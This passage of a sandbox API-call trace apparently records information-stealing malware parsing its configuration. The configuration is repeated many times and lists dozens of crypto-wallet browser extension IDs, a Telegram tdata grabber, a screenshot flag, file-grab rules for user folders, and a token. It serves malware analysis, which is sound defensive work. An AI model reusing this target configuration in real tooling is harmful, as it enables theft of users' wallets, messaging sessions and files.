Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2604 [0260.577] LocalAlloc (uFlags=0x40, uBytes=0x1458) returned 0x6b9720 [0260.577] lstrlenW (lpString="ews_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2604 [0260.577] LocalAlloc (uFlags=0x40, uBytes=0x1458) returned 0x6bab80 [0260.577] lstrlenW (lpString="ews_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2604 [0260.577] LocalAlloc (uFlags=0x40, uBytes=0x1458) returned 0x6bbfe0 [0260.577] StrStrW (lpFirst="ews_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.577] lstrlenW (lpString="ews_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2604 [0260.577] LocalAlloc (uFlags=0x40, uBytes=0x14d8) returned 0x6bd440 [0260.577] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.577] LocalFree (hMem=0x6bd440) returned 0x0 [0260.577] StrStrW (lpFirst="ews_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.578] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.578] LocalFree (hMem=0x6b9720) returned 0x0 [0260.578] LocalFree (hMem=0x6bab80) returned 0x0 [0260.578] LocalFree (hMem=0x6bbfe0) returned 0x0 [0260.578] StrStrW (lpFirst="ews_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension 